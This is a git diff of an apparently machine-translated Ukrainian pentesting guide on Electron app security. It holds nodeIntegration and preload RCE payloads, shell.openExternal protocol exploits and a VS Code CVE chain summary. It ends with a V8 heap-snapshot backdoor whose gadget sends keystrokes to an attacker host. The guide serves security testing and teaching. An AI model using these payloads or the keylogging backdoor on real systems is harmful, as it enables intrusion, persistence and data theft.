Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 21:55:34 +00:00
parent e6a1a72316
commit f179714cd7

View File

@ -4,14 +4,14 @@
## Вступ
Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
Зазвичай код Electron-застосунку можна знайти всередині `.asar` архіву; щоб отримати код, його потрібно екстрагувати:
Зазвичай код Electron-додатка можна знайти всередині `.asar` пакунку; щоб отримати код, потрібно його витягти:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
У вихідному коді Electron app, всередині файлу `packet.json`, вказано файл `main.js`, у якому встановлено налаштування безпеки.
У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлено налаштування безпеки.
```json
{
"name": "standard-notes",
@ -20,11 +20,11 @@ npx asar extract-file app.asar main.js #Extract just a file
Electron має 2 типи процесів:
- Головний процес (має повний доступ до NodeJS)
- Рендер-процес (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
- Рендерер (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
![](<../../../images/image (182).png>)
**Рендер-процес** — це вікно браузера, яке завантажує файл:
A **рендерер** буде вікном браузера, що завантажує файл:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE** в Electron application або іншим вразливостям, якщо **налаштування правильно встановлені**.
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE додатком Electron** або іншим вразливостям, якщо **налаштування встановлені правильно**.
Electron application **може отримувати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
Додаток Electron **може отримати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до Node API з **renderer process**.
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main та renderer processes не ізольовані.
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до node-функцій з renderer process.
- **`contextIsolation`** - за замовчуванням `on`. Якщо вимкнено, main та renderer процеси не ізольовані.
- **`preload`** - порожній за замовчуванням.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Обмежує дії, які може виконувати NodeJS.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнений. Обмежує дії, які може виконувати NodeJS.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - за замовчуванням `off`.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволяє використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application.
- Якщо **`nodeIntegration`** **відключено**, то preload-скрипти завантажуватимуться в iframe
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron-додатку.
- Якщо **`nodeIntegration`** **вимкнено**, тоді preload-скрипти завантажуватимуться в iframe
Example of configuration:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Кілька **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Перехоплення трафіку
### Захоплення трафіку
Змініть конфігурацію start-main і додайте використання proxy, наприклад:
Змініть конфігурацію start-main та додайте використання proxy, наприклад:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Якщо ви можете виконати локально Electron App, можливо, ви зможете змусити його виконувати довільний javascript code. Див. як у:
Якщо ви можете локально виконати Electron App, можливо, ви зможете змусити його виконувати довільний javascript код. Див. як у:
{{#ref}}
@ -112,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити додаток calc у Windows такий:
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити calc на Windows такий:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Скрипт, вказаний у цьому налаштуванні, l**oaded before other scripts in the renderer**, тому має **необмежений доступ до Node APIs**:
Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами у renderer**, тому має **необмежений доступ до Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -149,17 +149,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не працюватиме**
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не спрацює**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
The _**contextIsolation**_ вводить **розділені контексти між скриптами веб-сторінки та внутрішнім кодом Electron на JavaScript**, щоб виконання JavaScript одного коду не впливало на інше. Це необхідна функція для усунення можливості RCE.
If the contexts aren't isolated an attacker can:
Якщо контексти не ізольовані, атакуючий може:
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
3. **Trigger** the use of **overwritten function**
1. Виконати **arbitrary JavaScript in renderer** (XSS або навігацію на зовнішні сайти)
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, щоб захопити функцію
3. **Спровокувати** використання **перезаписаної функції**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Обхід події click
### Обхід події кліку
If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
Якщо при кліку по посиланню застосовано обмеження, ви можете їх обійти, **виконавши середній клік** замість звичайного лівого кліку
```javascript
window.addEventListener('click', (e) => {
```
## RCE через shell.openExternal
## RCE via shell.openExternal
Для детальнішої інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Під час розгортання Electron desktop application важливо переконатися у правильних налаштуваннях `nodeIntegration` та `contextIsolation`. Вважається, що **client-side remote code execution (RCE)**, спрямовані на preload scripts або нативний код Electron з main process, ефективно запобігаються при таких налаштуваннях.
Під час розгортання десктопного додатку Electron критично важливо правильно налаштувати `nodeIntegration` та `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямований на preload scripts або Electron's native code з main process, ефективно запобігається за наявності цих налаштувань.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні обробники подій, які є критичними для безпеки та функціональності додатку:
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ці обробники подій **перевизначаються десктопним додатком**, щоб реалізувати власну **бізнес-логіку**. Додаток визначає, чи має посилання відкриватися всередині програми чи у зовнішньому веб-браузері. Зазвичай це рішення приймається в функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання має відкриватися зовнішньо з використанням функції `shell.openExternal`.
Ці слухачі **перевизначаються десктоп‑додатком**, щоб реалізувати його власну **бізнес‑логіку**. Додаток оцінює, чи слід відкривати перехідне посилання внутрішньо або у зовнішньому веб‑браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкрити зовні з використанням функції `shell.openExternal`.
**Here is a simplified pseudocode:**
**Ось спрощений псевдокод:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
Рекомендації щодо безпеки Electron JS застерігають від прийняття ненадійного контенту через функцію `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та додаткового пояснення з цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад у `shell.openExternal('file:///System/Applications/Calculator.app')`.
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Examples of Windows protocol exploits include:**
**Приклади експлуатації протоколів Windows включають:**
```html
<script>
window.open(
@ -228,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Цю vuln можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload context** like:
The **webviewTag** — це **застаріла функція**, яка дозволяє використовувати **NodeJS** у **renderer process**, її слід вимкнути, оскільки вона дозволяє завантажити скрипт у preload-контекст, наприклад:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Отже, зловмисник, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload script**.
Отже, зловмисник, який зможе завантажити довільну сторінку, може використати цей тег, щоб **load an arbitrary preload script**.
Потім цей preload script використовували для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала викликала **`shell.openExternal`** для отримання RCE:
Цей preload script потім використовували для виклику **vulnerable IPC service (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Читання внутрішніх файлів: XSS + contextIsolation
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, аналогічно до `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`, подібно до `<iframe>`, для читання та exfiltrating локальних файлів.** Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Далі наведено ще один метод для **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron desktop app. Це передбачає ін'єкцію скрипта для експлуатації додатка та exfiltrate даних:
Крім того, наведено ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість локального читання файлів в Electron desktop app. Це передбачає впровадження скрипта для експлуатації додатку та exfiltrate data:
```html
<br /><br /><br /><br />
<h1>
@ -271,45 +271,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + старий chromium**
## **RCE: XSS + старий Chromium**
Якщо **chromium**, що використовується додатком, є **старим** і в ньому є **відомі** **вразливості**, можливо, що ви зможете **експлуатувати їх і отримати RCE через XSS**.\\
Приклад можна побачити в цьому **описі**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Якщо **chromium**, який використовується додатком, є **старим** і на ньому є **відомі** **vulnerabilities**, може бути можливим експлуатувати його та отримати RCE через XSS.\
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing через обхід regex для внутрішніх URL**
## **XSS Phishing через Internal URL regex bypass**
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або викрасти внутрішні файли**, тоді ви можете спробувати використати його, щоб **вкрасти облікові дані через phishing**.
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли** — можна спробувати використати його, щоб **вкрасти облікові дані через phishing**.
Насамперед потрібно зрозуміти, що відбувається, коли ви намагаєтеся відкрити нову URL-адресу, перевіривши JS-код у front-end:
Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS-код у front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Виклик **`openInternally`** визначає, чи **link** буде **opened** у **desktop window**, оскільки це посилання, яке належить платформі, **or** чи воно буде відкрито у **browser as a 3rd party resource**.
Виклик **`openInternally`** визначає, чи **link** буде **відкрито** у **вікні десктоп-додатку**, оскільки це посилання, що належить платформі, **або** чи воно буде відкрито у **браузері як сторонній ресурс**.
У випадку, якщо **regex**, який використовується функцією, є **vulnerable to bypasses** (наприклад через **not escaping the dots of subdomains**), атакуючий може зловживати XSS, щоб **open a new window which** буде розміщено в інфраструктурі атакуючого, **asking for credentials** у користувача:
У випадку, якщо **regex**, що використовується функцією, є **вразливим до обходів** (наприклад через **неекранування крапок у субдоменах**), зловмисник міг би використати XSS, щоб **відкрити нове вікно, яке** буде розміщене в інфраструктурі атакуючого, **просячи у користувача облікові дані**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocol
## `file://` Протокол
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **власний протокол** prevents issues like this as you can limit the protocol to only serving a specific set of files.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що виконуються через **`file://`**, мають односторонній доступ до всіх файлів на вашій машині, що означає, що уразливості **XSS** можуть бути використані для завантаження довільних файлів із машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише набором конкретних файлів.
## Remote module
## Модуль remote
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
Модуль Electron remote дозволяє **процесам renderer отримувати доступ до API основного процесу**, полегшуючи комунікацію в межах Electron-додатку. Однак увімкнення цього модуля створює суттєві ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як атаки cross-site scripting (XSS).
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> Хоча модуль **remote** відкриває деякі API з main до renderer-процесів, не так просто отримати RCE лише шляхом зловживання компонентами. Проте компоненти можуть відкривати чутливу інформацію.
> [!WARNING]
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
> Багато додатків, що досі використовують модуль remote, роблять це так, що **потребують увімкнення NodeIntegration** у renderer-процесі, і це є **великою загрозою безпеці**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Зі версії Electron 14 модуль `remote` може бути увімкнений кількома способами; через міркування безпеки та продуктивності **рекомендується не використовувати його**.
To enable it, it'd first needed to **увімкнути його в main process**:
Щоб його ввімкнути, спочатку потрібно **увімкнути його в основному процесі**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Тоді процес рендерера може імпортувати об'єкти з модуля, наприклад:
Тоді renderer process може імпортувати об'єкти з модуля, наприклад:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з remote module:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на кілька цікавих **функцій**, які надає об'єкт **`app`** з remote module:
- **`app.relaunch([options])`**
- **Перезапускає** додаток шляхом **закриття** поточного екземпляра та **запуску** нового. Корисно для **app updates** або значних **змін стану**.
- **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**.
- **`app.setAppLogsPath([path])`**
- **Визначає** або **створює** каталог для зберігання **app logs**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **Визначає** або **створює** директорію для збереження **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **protocol**. Можна вказати власний шлях та аргументи за потреби.
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **кастомний шлях** і **аргументи**.
- **`app.setUserTasks(tasks)`**
- **Додає** tasks до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
- **Додає** завдання до **категорії Tasks** в **Jump List** (на Windows). Кожне завдання може контролювати, як запускається додаток або які **аргументи** передаються.
- **`app.importCertificate(options, callback)`**
- **Імпортує** PKCS#12 certificate у системне certificate store (лише Linux). Можна використовувати **callback** для обробки результату.
- **Імпортує** **PKCS#12 сертифікат** у системне сховище сертифікатів (тільки Linux). Можна використовувати **callback** для обробки результату.
- **`app.moveToApplicationsFolder([options])`**
- **Переміщує** додаток у **Applications folder** (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac.
- **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac.
- **`app.setJumpList(categories)`**
- **Встановлює** або **видаляє** кастомний Jump List на Windows. Можна вказати **categories** для організації того, як завдання відображаються користувачу.
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Можна вказати **категорії**, щоб організувати, як завдання відображаються користувачу.
- **`app.setLoginItemSettings(settings)`**
- **Налаштовує**, які виконувані файли запускаються при вході в систему разом із їхніми **опціями** (лише macOS та Windows).
- **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом із їхніми **опціями** (тільки macOS і Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
## systemPreferences модуль
Це **основний API** для доступу до системних налаштувань та **генерації системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі **є частиною** цього модуля.
**основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** і **setUserDefault**, усі є **частиною** цього модуля.
**Приклад використання:**
```javascript
@ -367,23 +367,23 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Слухає** рідні macOS notifications за допомогою NSDistributedNotificationCenter.
* До **macOS Catalina** ви могли sniff **всі** distributed notifications, передаючи **nil** до CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** sandboxed apps все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
* **Слухає** **нативні macOS notifications** через NSDistributedNotificationCenter.
* До **macOS Catalina** можна було перехоплювати **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** ізольовані додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
### **getUserDefault / setUserDefault**
* **Взаємодіє** з NSUserDefaults, який зберігає **application** або **global** preferences на macOS.
* **Інтерфейсуються** з **NSUserDefaults**, який зберігає **параметри** додатків або глобальні preferences на macOS.
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **recent file locations** або **географічне розташування користувача**.
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**.
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатку.
* **setUserDefault** може **змінювати** ці preferences, потенційно впливаючи на **конфігурацію** додатку.
* У **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
* В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
## Shell.showItemInFolder
Ця функція показує вказаний файл у файловому менеджері, який **може автоматично виконати файл**.
Ця функція показує заданий файл у файловому менеджері, який **може автоматично виконати файл**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
@ -391,7 +391,7 @@ For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-m
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Зазвичай його **налаштовують** у файлі **`main.js`** або в шаблоні **`index.html`** через CSP всередині **meta tag**.
For more information check:
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для ідентифікації misconfigurations та security anti-patterns в Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек.
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews leaked ID.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Додаткова література щодо проблем довіри postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Інструменти**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення помилок конфігурації та security anti-patterns у додатках на базі Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для додатків Electron, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек
- [**Electro.ng**](https://electro.ng/): Потрібно купити
## Labs
## Лабораторії
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви знайдете лабораторне завдання для експлуатації вразливих Electron apps.
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторію для експлуатації вразливих додатків Electron.
Декілька команд, які допоможуть вам у лабораторній роботі:
Декілька команд, які допоможуть вам у лабораторії:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -435,18 +458,18 @@ cd vulnerable1
npm install
npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## Локальне backdooring через підробку V8 heap snapshot (Electron/Chromium) CVE-2025-55305
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electrons integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
Electron and Chromium-based apps десеріалізують заздалегідь зібраний V8 heap snapshot під час старту (v8_context_snapshot.bin, а опційно browser_v8_context_snapshot.bin), щоб ініціалізувати кожен V8 isolate (main, preload, renderer). Історично integrity fuses Electron не розглядали ці snapshots як виконуваний вміст, тож вони уникали як fuse-based enforcement цілісності, так і перевірок підпису коду ОС. У результаті заміна snapshot у встановленні, доступному для запису користувача, забезпечувала приховане, персистентне виконання коду всередині додатка без модифікації підписаних бінарників або ASAR.
Ключові моменти
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Локальний запис файлів у директорію інсталяції програми. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з обмеженнями на macOS).
- Effect: Надійне виконання attacker JavaScript в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дає можливість персистенції та обходу перевірки підпису коду.
- Affected surface: Electron apps (навіть з увімкненими fuses) та браузери на базі Chromium, які завантажують snapshots з локацій доступних для запису користувачем.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar перевіряють JavaScript додатка всередині ASAR, але вони не охоплювали V8 heap snapshots (CVE-2025-55305). Chromium аналогічно не виконує integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи, доступні для запису користувача (наприклад, %AppData%\Local на Windows; /Applications з оговорками на macOS).
- Effect: Надійне виконання JavaScript зловмисника в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дозволяє персистентність і уникнення перевірки підпису коду.
- Affected surface: Electron apps (навіть із увімкненими fuses) та Chromium-based browsers, які завантажують snapshots з місць, доступних для запису користувача.
Генерація зловмисного snapshot без збірки Chromium
- Використайте попередньо зібраний electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin програми.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
@ -463,10 +486,10 @@ throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Глобальні змінні, притаманні лише Node (наприклад process.pid, process.binding(), process.dlopen), присутні в ізоляції main process.
- Browser/renderer detection: Глобальні змінні, притаманні лише браузеру (наприклад alert), доступні під час виконання в контексті документа.
- Main process detection: У ізоляції main process присутні Node-only globals, такі як process.pid, process.binding(), або process.dlopen.
- Browser/renderer detection: Browser-only globals, такі як alert, доступні під час виконання в контексті документа.
Приклад gadget, який одноразово перевіряє можливості Node у main-process
Приклад gadget'а, який одноразово перевіряє можливості Node у main-process
```js
const orig = Array.isArray;
@ -519,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Робочий процес оператора
1) Напишіть payload.js, який перезаписує загальну вбудовану функцію (наприклад, Array.isArray) і, за потреби, розгалужується по isolate.
